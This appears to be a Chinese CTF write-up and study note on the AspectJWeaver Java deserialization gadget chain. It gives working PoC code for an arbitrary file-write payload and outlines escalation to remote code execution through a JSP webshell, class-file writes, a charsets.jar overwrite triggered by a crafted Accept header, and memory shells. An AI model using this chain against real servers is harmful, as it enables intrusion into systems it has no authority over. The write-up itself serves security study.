AspectJWeaver反序列化分析

上周末参加了TSCTF,有两道Java题目,一道是RMI的,lookup的时候用hookInterface自带的恶意类参数,然后使用方法之前hookServer端的ip,将0.0.0.0改成正确ip,即可使用。其中由于传的shell是固定格式,而且使用的是dash,构造比较恶心,就不在这讨论了。

另一道是java反序列化的题目。代码很简单,解读起来就是post一个String,然后使用base64解密,在通过serialkiller过滤,最后反序列化。
那么思路也很清晰,就是构造可以通过过滤的payload,然后讲序列化的字节数组进行base64加密,得到payload。但是serialkiller过滤了CC1-CC6常见的方法。
1
赛后看到参加MRCTF师傅的wp说可以使用AspectJWeaver,然后用org.apache.commons.collections.functors.MapTransformer替代ConstantTransformer就可以了。比赛时候其实我也找了AspectJWeaver反序列化利用的poc,但是看里面有ConstantTransformer就想着不可行,比赛的时候一直想找一个可以直接用的poc,还是太年轻、太菜了。
所以今天先来学习一下AspectJWeaver

什么是AspectJWeaver

AspectJEclipse 基金组织的开源项目,它是 Java 语言的一个 AOP 实现,是最早、功能比较强大的 AOP 实现之一,对整套 AOP 机制都有较好的实现,很多其他语言的 AOP 实现也借鉴或者采纳了 AspectJ 中的很多设计。在 Java 领域,AspectJ 中的很多语法结构基本上已经成为 AOP 领域的标准。本条链是一条任意文件写入的利用链,可以将内存马写入进去,这也避免了不出网的环境下的窘境。

前置知识

SimpleCache$StoreableCachingMap

org.aspectj.weaver.tools.cache.SimpleCache 类中定义了一个内部类 StoreableCachingMap,这个类继承了 HashMap,提供了将 Map 中值写入文件中的功能。
在调用 put 方法向 StoreableCachingMap 中放入值时,会调用 writeToPath 方法将 value 中的值写入到文件中。
2
3
可以看到,路径由 folder 起始,拼接 File.separator 以及 keyvaluesbyte 数组类型的数据。
由此,可构建:实例化一个StoreableCachingMap,传入参数folderstoringTimerfolder作为路径,然后某方法调用StoreableCachingMapput,传入两个Object,其中key是文件名,value是文件内容。这就构成了一个文件写出的 sink 点。
接下来就看谁调用了put方法。

LazyMap

CC链中的 org.apache.commons.collections.map.LazyMap 类,我们通过触发其 get 方法来触发 Transformertransform 方法来触发 ChainedTransformer/InvokerTransformer 等后续调用链。
实际上 LazyMaptransform 之后会调用封装的内部 mapput 方法将结果保存,这就触发了 put 方法。
4

POC构造

ConstantTransformer

ysoserial 此链中使用了 HashSet 反序列化来触发 TiedMapEntryhashCode 进一步触发 LazyMapget 方法,在 CC6/CC7 中使用 HashSet/HashMap/Hashtable 触发本质上都是一样的。这里使用 HashSet 来触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class AspectJWeaver {

public static void main(String[] args) throws Exception {

String fileName = "AspectJWeaver_POC_test.txt";
String filePath = "./";
String fileContent = "hello AspectJWeaver";

// 初始化 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();

// 实例化 StoreableCachingMap 类
Class<?> c = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor<?> constructor = c.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(filePath, 10000);

// 初始化一个 Transformer,使其 transform 方法返回要写出的 byte[] 类型的文件内容
Transformer transformer = new ConstantTransformer(fileContent.getBytes(StandardCharsets.UTF_8));

// 使用 StoreableCachingMap 创建 LazyMap 并引入 TiedMapEntry
Map lazyMap = LazyMap.decorate(map, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, fileName);

// entry 放到 HashSet 中
HashSet set = SerializeUtil.generateHashSet(entry);
SerializeUtil.writeObjectToFile(set);
SerializeUtil.readFileObject();
}
}

注意:以get形式传参时要Base64后的字符串进行url编码

1
java.net.URLEncoder.encode(str, "UTF-8")

Gadget如下:

1
2
3
4
5
6
7
8
HashSet#readObject()
HashMap#put()
HashMap#hash()
TiedMapEntry#hashcode()
TiedMapEntry#getValue()
LazyMap#get()
StoreableCachingMap#put()
StoreableCachingMap#writeToPath()

依赖版本

aspectjweaver : 1.9.2
commons-collections : 3.2.2

题解poc文件

使用MapTransformer替代ConstantTransformer
使用CC链,引入FactoryTransformer,使用InstantiateFactory、ConstantFactory代替InstantiateTransformer、ConstantTransformer

AspectJWeaver利用思路

直接写入jsp

如果目标Web应用可以写入jsp,并且能够解析,那直接写jsp Webshell即可,比较直接

写入class文件

可以在poc中添加如下方法

1
2
3
4
5
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TestController.class.getName());
return clazz.toBytecode();
}

并修改代码

1
map1.put(fileName,getBytescode());

此时可以向target中写入class文件,但是无法执行,只有在不清理target的情况下重启项目,才能执行。

SpringBoot采用jar包部署的情况

现在很多应用都采用了SpringBoot打包成一个jar或者war包放到服务器上部署,就算我们能够写文件,也不会被内嵌的中间件解析,这个时候应该怎么办呢?
LandGrey大佬给出了解决办法:Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
向服务器的jdk目录下写入jar包,由于jvm的类加载机制,并不会一次性把所有jdk中的jar包都进行加载,所以可以先写入/jre/lib/charsets.jar进行覆盖,然后给request header中加入特殊头部,此时由于给定了字符编码,会让jvm去加载charset.jar,从而触发恶意代码。恶意头部可以如下:

1
2
3
Accept: text/plain, */*; q=0.01
Accept: text/html;charset=GBK
...

具体细节请见大佬的博客和github仓库。

打内存马

也有说直接打内存马,但还没尝试